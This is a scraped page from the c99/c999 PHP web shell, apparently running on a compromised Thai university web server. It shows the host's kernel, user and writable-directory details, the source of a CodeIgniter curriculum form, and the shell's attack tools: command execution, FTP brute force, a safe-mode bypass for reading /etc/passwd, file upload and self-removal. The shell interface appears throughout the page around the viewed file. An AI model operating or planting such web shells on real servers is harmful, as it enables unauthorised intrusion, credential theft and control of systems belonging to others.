!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addCurriculumConfig.php (4.99 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cc 
= isset($qu_cc) ? $qu_cc->row() : NULL;
?>
<table width="100%" align="center">
    <tr>
        <td>
            <div align="center">
            <table width="100%" border="0">
                <tr>
                    <td colspan="2" align="center"><font class="h error">ข้อมูลประเภทบัณฑิตผู้สำเร็จการศึกษาของ สบช.</font></td>
                </tr>
                <tr>
                    <td colspan="2" align="right">
<?php
                    
echo anchor_popup($this->config->item("rg_folder")."bdpbri/cc_print""<img src=\"".base_url().$this->config->item("rg_print")."\" width=\"15\" height=\"14\" align=\"absmiddle\" border=\"0\" />");
?>
                    </td>
                </tr>
                <tr>
                    <td colspan="2"><?php echo form_open($this->config->item("rg_folder")."bdpbri/cc_insert_update", array("name" => "myform""id" => "myform"));?>
                    <table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">รหัสประเภท</td>
                            <td>
<?php
                            
if (isset($qu_cc)) {
                                echo 
getval('ccCode'$row_cc$ccCode);
?>
                            <input type="hidden" name="ccCode" id="ccCode" value="<?php echo getval('ccCode'$row_cc$ccCode);?>" />
<?php
                            
} else {
?>
                            <input type="text" name="ccCode" id="ccCode" value="<?php echo set_value('ccCode',getval('ccCode'$row_cc$ccCode));?>" size="3" maxlength="2" class="required-int" />
                            <span class="error">* <?php echo form_error("ccCode");?></span>
<?php
                            
}
?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ชื่อประเภท</td>
                            <td><input type="text" name="ccName" id="ccName" value="<?php echo set_value('ccName',setValue('ccName',$row_cc));?>" size="70" class="required" />
                            <span class="error">* <?php echo form_error("ccName");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">สถานะการใช้</td>
                            <td><input type="checkbox" name="ccStatus" id="ccStatus" value="N" <?php echo (setValue('ccStatus',$row_cc)=='N') ? 'checked' '';?> size="70" /> เลิกใช้งานแล้ว</td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td colspan="2" align="center">
                            <input type="submit" name="add" id="add" value="บันทึก" />
                            <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                            <input type="hidden" name="ccId" id="ccId" value="<?php echo setValue('ccId',$row_cc);?>" /></td>
                        </tr>
                    </table><?php echo form_close();?></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr>
                            <th class="seqCol"><font size="2" color="<?php echo $font_color_table;?>">ลำดับที่</font></th>
                            <th class="amtCol"><font size="2" color="<?php echo $font_color_table;?>">รหัสประเภท</font></th>
                            <th><font size="2" color="<?php echo $font_color_table;?>">ชื่อประเภท</font></th>
                            <th class="amtCol"><font size="2" color="<?php echo $font_color_table;?>">สถานะการใช้</font></th>
                            <th class="editCol"><font size="2" color="<?php echo $font_color_table;?>">แก้ไข</font></th>
                            <th class="deleteCol"><font size="2" color="<?php echo $font_color_table;?>">ลบ</font></th>
                        </tr>
<?php
                $i 
0;
                if(isset(
$rs_cc) && $rs_cc->num_rows()) {
                    foreach(
$rs_cc->result() as $row) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center"><font size="2"><?php echo $i+1;?></font></td>
                            <td align="center"><font size="2"><?php echo $row->ccCode;?></font></td>
                            <td class="indent"><font size="2"><?php echo $row->ccName;?></font></td>
                            <td align="center"><font size="2"><?php echo $row->ccStatus;?></font></td>
                            <td align="center"><span class="hand" onClick="sendPost('hidform', {'ccId':<?php echo $row->ccId;?>}, 'cc_input')"><img src="<?php echo base_url().$this->config->item("rg_edit");?>" align="absmiddle" border="0" /></span></td>
                            <td align="center">
                            <img src="<?php echo base_url().$this->config->item("rg_delete");?>" align="absmiddle" border="0" class="hand" onClick="confirmDel2(
                            {'ccId':<?php echo $row->ccId;?>}, 'm_form1', '<?php echo site_url($this->config->item('rg_folder').'bdpbri/cc_delete');?>')" /></td>
                        </tr>
<?php
                        $i
++;
                    }
                } else {
?>
                        <tr>
                            <td colspan="6" height="22" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
                        </tr>
<?php
                
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td align="right"><font size="2">รวม <?php echo $i;?> รายการ</font></td>
                </tr>
            </table></div>
            <div class="error"><strong>หมายเหตุ : </strong>"รหัสประเภท" เป็นส่วนหนึ่งของรหัสนักศึกษา</div>
        </td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0108 ]--